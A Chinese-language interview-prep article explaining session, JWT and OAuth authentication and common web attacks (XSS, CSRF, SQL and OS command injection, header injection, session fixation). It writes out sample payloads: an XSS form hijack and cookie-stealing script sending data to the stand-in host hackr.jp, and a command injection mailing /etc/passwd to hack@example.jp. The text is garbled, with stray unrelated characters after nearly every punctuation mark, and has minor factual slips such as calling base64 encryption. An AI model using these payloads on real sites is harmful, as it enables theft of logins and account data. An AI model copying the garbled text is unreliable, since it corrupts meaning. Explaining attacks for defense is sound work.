什么是鑒權(quán)
鑒權(quán)（authentication）是指驗證用戶是否擁有訪問系統(tǒng)的權(quán)利掠廓。傳統(tǒng)的鑒權(quán)是通過密碼來驗證的羽历。這種方式的前提是讲弄，每個獲得密碼的用戶都已經(jīng)被授權(quán)扎拣。在建立用戶時熔号，就為此用戶分配一個密碼稽鞭，用戶的密碼可以由管理員指定，也可以由用戶自行申請跨嘉。這種方式的弱點十分明顯：一旦密碼被偷或用戶遺失密碼川慌，情況就會十分麻煩，需要管理員對用戶密碼進(jìn)行重新修改祠乃，而修改密碼之前還要人工驗證用戶的合法身份梦重。
為了克服這種鑒權(quán)方式的缺點，需要一個更加可靠的鑒權(quán)方式亮瓷。目前的主流鑒權(quán)方式是利用認(rèn)證授權(quán)來驗證數(shù)字簽名的正確與否琴拧。
面試題
網(wǎng)站常見的鑒權(quán)認(rèn)證方式有哪幾種？
- Session機制
- JWT機制
- Auth2機制
Session認(rèn)證的原理
解析：第一次登陸網(wǎng)站的時候嘱支，需要填寫用戶名和密碼蚓胸，之后push到服務(wù)器上，因為是第一次注冊除师，服務(wù)器先去查看一下用戶名是否被人用過沛膳，如果已經(jīng)被人使用，需要重新注冊一個用戶名汛聚，若沒有锹安，則可以進(jìn)行創(chuàng)建。創(chuàng)建有兩種方法：第一種是把用戶名和密碼直接保存在數(shù)據(jù)庫中，這種方法對于服務(wù)器來說叹哭，有風(fēng)險忍宋，一旦數(shù)據(jù)庫密碼被攻破了，數(shù)據(jù)就會被泄露风罩。第二種方法：數(shù)據(jù)庫不存儲明文密碼糠排，只存儲用戶名之后生成一個隨機數(shù)，之后輸入的密碼和隨機數(shù)通過SHA256（單向散列函數(shù)）進(jìn)行處理超升，把密碼加隨機數(shù)生成一個字符串入宦，把這個字符串（secret）和隨機數(shù)（salt）和用戶名（username）存儲起來。當(dāng)用戶進(jìn)行登錄的時候廓俭，首先數(shù)據(jù)庫進(jìn)行查找云石，有無這個用戶名，如果有的話研乒，就會進(jìn)行一個計算汹忠，用密碼和隨機數(shù)通過SHA256進(jìn)行處理，得到一個隨機字符串雹熬，把這個字符串和之前的進(jìn)行比較宽菜，如果是一樣的，則表示密碼正確竿报。之后再服務(wù)器創(chuàng)建一個對象（session）铅乡，存到內(nèi)存（小數(shù)據(jù)）中或者數(shù)據(jù)庫中，服務(wù)器發(fā)送響應(yīng)給瀏覽器烈菌，響應(yīng)報文中有一個
Set-Cookie:s_id=1b3ra9字段阵幸，瀏覽器發(fā)現(xiàn)這個字段就把他放到cookie中，下一次用戶再一次請求的時候芽世，請求會自動帶cookie字段挚赊，服務(wù)器收到帶cookie請求，則先進(jìn)行比較济瓢，找到相同的s_id荠割，之后發(fā)送更多的信息返回給瀏覽器。
JWT認(rèn)證的原理
全稱：JSON Web Token
解析：假設(shè)已經(jīng)注冊好旺矾，服務(wù)器只要生成token就可以了蔑鹦，之后把token返回給客戶端。
token = str1+'.'+str2+'.'+str3箕宙。瀏覽器需要手動的把token存儲起來嚎朽，可以存在cookie里，下一次發(fā)送請求的時候只需要/user?jwt_token=xxx就可以了柬帕。服務(wù)器收到請求后哟忍，要對token進(jìn)行驗證室囊。（圖片上步驟8）base64加密解密方法。
- 再一次發(fā)送請求的方法：
- /user?jwt_token=xxx魁索；
- 或者把token放到請求頭（Authorization）里面。
- 優(yōu)點：
- 任何地方都可以使用盼铁，使用范圍廣泛粗蔚。（只需要把Token在客戶端保存起來）
- 服務(wù)器額存儲壓力小，session是需要進(jìn)行存儲的饶火，但是Token不需要鹏控。
- 缺點：
- 增加了計算壓力，每個請求到達(dá)肤寝，都要進(jìn)行計算当辐。
- cookie的續(xù)期比較麻煩。
- 點擊了發(fā)送請求后鲤看，立即點擊注銷缘揪，但是cookie還是存在。
Auth2認(rèn)證的流程
- 使用場景
- 網(wǎng)站會有一個登陸义桂，（比如QQ登陸）找筝，第三方賬號登陸，沒有注冊慷吊，登陸后會回到當(dāng)前網(wǎng)站袖裕。
- 流程
網(wǎng)站找認(rèn)證服務(wù)器要用戶的數(shù)據(jù)。網(wǎng)站必須拿到用戶允許服務(wù)器給數(shù)據(jù)的憑證溉瓶，否則服務(wù)器不會隨意給數(shù)據(jù)急鳄。用戶向服務(wù)器奧認(rèn)證，服務(wù)器詢問是否確定給憑證堰酿，用戶回復(fù)確定才會給憑證疾宏。- （9）步驟：一定要有憑據(jù)、自己的名片胞锰、自己的密鑰灾锯。
和JWT相比Session機制有哪些缺點
- 如果擺脫瀏覽器，沒有cookie嗅榕，不能用在任何場景顺饮。（小程序、終端凌那、app）
- 如果把session放在內(nèi)存中兼雄，則會導(dǎo)致占用大量內(nèi)存。
- 當(dāng)采用分布式的時候帽蝶，如果把數(shù)據(jù)存儲在數(shù)據(jù)庫中赦肋，則進(jìn)行處理會比較麻煩。
- 如果存在XSS漏洞，cookie容易泄露佃乘。
Session機制如何能盡量保證安全
- 對保存到cookie里面的敏感信息必須加密
- 設(shè)置HttpOnly為true（針對http）
- 該屬性值的作用就是防止Cookie值被頁面腳本讀取囱井。
- 但是設(shè)置HttpOnly屬性，HttpOnly屬性只是增加了攻擊者的難度趣避，Cookie盜竊的威脅并沒有徹底消除庞呕，因為cookie還是有可能傳遞的過程中被監(jiān)聽捕獲后信息泄漏。
- 設(shè)置Secure為true（針對HTTPS）
- 給Cookie設(shè)置該屬性時程帕，只有在https協(xié)議下訪問的時候住练，瀏覽器才會發(fā)送該Cookie。
- 把cookie設(shè)置為secure愁拭，只保證cookie與WEB服務(wù)器之間的數(shù)據(jù)傳輸過程加密讲逛，而保存在本地的cookie文件并不加密。如果想讓本地cookie也加密岭埠，得自己加密數(shù)據(jù)盏混。
- 給Cookie設(shè)置有效期
- 如果不設(shè)置有效期，萬一用戶獲取到用戶的Cookie后惜论，就可以一直使用用戶身份登錄括饶。
- 在設(shè)置Cookie認(rèn)證的時候，需要加入兩個時間来涨，一個是“即使一直在活動图焰，也要失效”的時間，一個是“長時間不活動的失效時間”蹦掐，并在Web應(yīng)用中技羔，首先判斷兩個時間是否已超時，再執(zhí)行其他操作卧抗。
- 一定不要在cookie中存儲重要和敏感的數(shù)據(jù)
JavaScript中cookie那些事
cookie數(shù)據(jù)并非存儲在一個安全的環(huán)境中藤滥，其中包含的任何數(shù)據(jù)都可以被其他人訪問到，所以不要在cookie中存儲如銀行卡或個人地址之類的數(shù)據(jù)社裆。
針對Web的攻擊技術(shù)
- 主動攻擊
- SQL注入攻擊
- OS命令注入攻擊
- 會話劫持
- 被動攻擊
- XSS攻擊
- CSRF攻擊
- HTTP首部注入攻擊
- 會話固定攻擊
XSS攻擊原理
XSS是什么
跨站腳本攻擊（Cross-Site Scripting,XSS）是指通過存在安全漏洞的Web網(wǎng)站注冊用戶的瀏覽器內(nèi)運行非法的HTML標(biāo)簽或JavaScript進(jìn)行的一種攻擊拙绊。XSS是攻擊者利用魚線設(shè)置的陷阱觸發(fā)的被動攻擊。例如：動態(tài)創(chuàng)建的HTML部分有可能隱藏著安全漏洞泳秀。
- 影響：
- 利用虛假輸入表單騙取用戶個人信息标沪。
- 利用腳本竊取用戶的Cookie值，被害者在不知情的情況下嗜傅，幫助攻擊者發(fā)送惡意請求金句。
- 顯示偽造的文章或圖片。
- 避免方法：
- 所有用戶輸入的地方都不安全吕嘀。
- 所有展示用戶輸入的地方都不安全违寞。
- js里面不要用eval贞瞒。
- 盡量少的使用innerHTML，使用innerText趁曼。
- 攻擊案列：
- 在表單中設(shè)下圈套
http://example.jp/login?ID="><script>var+f=document=>
.getElementById('login');+f.action="http://hackr.jp/pwget";+f.method=>
"get";</script><span+s="
瀏覽器打開URI后军浆，直觀上沒有發(fā)生任何變化，但設(shè)置好的腳本偷偷開始運行了挡闰，當(dāng)用戶在表單內(nèi)輸入ID和密碼之后瘾敢，就會直接發(fā)送到攻擊者的網(wǎng)站（也就是hackr.jp）,導(dǎo)致個人登錄信息被竊取。
- 對用戶Cookie的竊取攻擊
惡意構(gòu)造的腳本同樣能夠以跨站腳本攻擊的方式尿这，竊取到用戶的Cookie。
<script src = http://hackr.jp/xss.js></script>
該腳本內(nèi)指定的http://hackr.jp/xss.js文件庆杜，即下面這段采用JS編寫的代碼
var content = escape(document.cookie)
document.write("<img src = http://hackr.jp/?")
document.write(content)
document.write(">")
在存在可跨站腳本攻擊安全漏洞的Web應(yīng)用上執(zhí)行上面這段JavaScript程序射众，即可訪問到該Web應(yīng)用處域名下的Cookie信息。然后這些信息會發(fā)送至攻擊者的Web網(wǎng)站（http://havkr.jp）晃财，記錄在他的登錄日志中叨橱，結(jié)果，攻擊者就這樣竊取到用戶的Cookie信息了断盛。
CSRF攻擊原理
聊聊CSRF
跨站點請求偽造（CSRF）攻擊是指攻擊者通過設(shè)置好的陷阱罗洗，強制對已完成認(rèn)證的用戶進(jìn)行非預(yù)期的個人信息或設(shè)定信息等某些狀態(tài)更新，屬于被動攻擊钢猛。
- 跨站點請求偽造造成的影響：
- 利用已通過認(rèn)證的用戶權(quán)限更新設(shè)定信息等伙菜。
- 利用已通過認(rèn)證的用戶權(quán)限購買商品。
- 利用已通過認(rèn)證的用戶權(quán)限在留言板上發(fā)表言論命迈。
- anti-csrf-token的方案
- 服務(wù)端在收到路由請求時贩绕，生成一個隨機數(shù)，在渲染請求頁面時把隨機數(shù)埋入頁面（一般埋入 form 表單內(nèi)壶愤，<input type="hidden" name="_csrf_token" value="xxxx">）
- 服務(wù)端設(shè)置setCookie淑倾，把該隨機數(shù)作為cookie或者session種入用戶瀏覽器
- 當(dāng)用戶發(fā)送 GET 或者 POST 請求時帶上_csrf_token參數(shù)（對于 Form 表單直接提交即可，因為會自動把當(dāng)前表單內(nèi)所有的 input 提交給后臺征椒，包括_csrf_token）
- 后臺在接受到請求后解析請求的cookie獲取_csrf_token的值娇哆，然后和用戶請求提交的_csrf_token做個比較，如果相等表示請求是合法的勃救。
- 需要注意的點：
- Token 保存在 Session 中碍讨。假如 Token 保存在 Cookie 中，用戶瀏覽器開了很多頁面蒙秒。在一些頁面 Token 被使用消耗掉后新的Token 會被重新種入垄开，但那些老的 Tab 頁面對應(yīng)的 HTML 里還是老 Token。這會讓用戶覺得為啥幾分鐘前打開的頁面不能正常提交税肪？
- 盡量少用 GET溉躲。假如攻擊者在我們的網(wǎng)站上傳了一張圖片榜田，用戶在加載圖片的時候?qū)嶋H上是向攻擊者的服務(wù)器發(fā)送了請求，這個請求會帶有referer表示當(dāng)前圖片所在的頁面的 url锻梳。 而如果使用 GET 方式接口的話這個 URL 就形如：
https://xxxx.com/gift?giftId=aabbcc&_csrf_token=xxxxx
箭券，那相當(dāng)于攻擊者就獲取了_csrf_token，短時間內(nèi)可以使用這個 token 來操作其他 GET 接口疑枯。
SQL注入攻擊
- 什么是SQL辩块？
SQL是用來操作關(guān)系型數(shù)據(jù)庫管理系統(tǒng)的數(shù)據(jù)庫語言，可進(jìn)行操作數(shù)據(jù)或定義數(shù)據(jù)等荆永。 - 什么是SQL注入废亭？
SQL注入是指針對Web應(yīng)用使用的數(shù)據(jù)庫，通過運行非法的SQL而產(chǎn)生的攻擊具钥。如果在調(diào)用SQL語句的方式上存在疏漏豆村，就有可能執(zhí)行被惡意注入非法SQL語句。 - SQL案例：
SELECT * FROM bookTb1 WHERE author = '作者'--' and flag = 1
SQL語句中的--之后全部視為注釋骂删，即and flag = 1就會被忽略掌动。
OS命令注入攻擊
- 什么是OS命令注入攻擊？
OS命令注入攻擊是指通過Web應(yīng)用宁玫，執(zhí)行非法的操作系統(tǒng)命令達(dá)到攻擊的目的粗恢。 - 如何攻擊？
可以從Web應(yīng)用中通過Shell來調(diào)用操作系統(tǒng)命令欧瘪。如果調(diào)用的Shell時存在疏漏眷射，就可以執(zhí)行插入的非法OS命令。通過OS注入攻擊可執(zhí)行OS上安裝的各種程序佛掖。 - 示例：
|/usr /sbin /sendmail ; cat /etc / passwd | mail hack@example.jp
攻擊者輸入值（; cat /etc / passwd | mail hack@example.jp）中含有分號（凭迹；）。這個符號在OS命令中苦囱，會被解析為分隔多個執(zhí)行命令的標(biāo)記嗅绸。sendmail命令執(zhí)行被分隔后，接下去就會執(zhí)行cat/etc/passwd|mail hack@example.jp這樣的命令了撕彤，結(jié)果鱼鸠，含有Linux賬戶信息/etc/psswd的文件，就以郵件形式發(fā)送給了hack@example.jp羹铅。
HTTP首部注入攻擊
- 什么是HTTP首部注入攻擊蚀狰？
HTTP首部注入攻擊是指攻擊者通過在響應(yīng)首部字段內(nèi)插入換行，添加任意響應(yīng)首部虎皮主體的一種攻擊职员。 - 什么是HTTP響應(yīng)截斷攻擊麻蹋？
向首部主體內(nèi)添加內(nèi)容的攻擊稱為HTTP響應(yīng)截斷攻擊。 - HTTP首部注入攻擊的影響：
- 設(shè)置任何Cookie信息焊切。
- 重定向至任意的URL扮授。
- 顯示任意的主體（HTTP響應(yīng)截斷攻擊）芳室。
會話劫持（Session Hijack）
會話劫持是指攻擊者通過某種手段（例如：XSS獲取對方的Cookie得到ID）拿到了用戶的會話ID，并非法使用此ID偽裝成用戶刹勃，達(dá)到攻擊的目的堪侯。
- 獲取會話ID的途徑
- 通過非正規(guī)的生成方法推測會話ID；
- 通過竊聽或XSS攻擊盜取會話ID荔仁；
- 通過會話固定攻擊（Session Fixation）強行獲取會話ID伍宦。
會話固定攻擊
會話固定攻擊強制用戶使用攻擊者指定的會話ID。
- 會話固定攻擊案例：
- 攻擊者登錄頁面
- 服務(wù)器發(fā)向攻擊者發(fā)布一個會話ID（http://example.com/SID=f5d1234567）乏梁，該會話ID（未認(rèn)證）狀態(tài)次洼。
- 將2中的URL作為陷阱，誘導(dǎo)用戶前去認(rèn)證遇骑。
- 用戶認(rèn)證后卖毁，會話ID（用戶已認(rèn)證）狀態(tài)。
- 4之后再用2中的URL訪問质蕉。
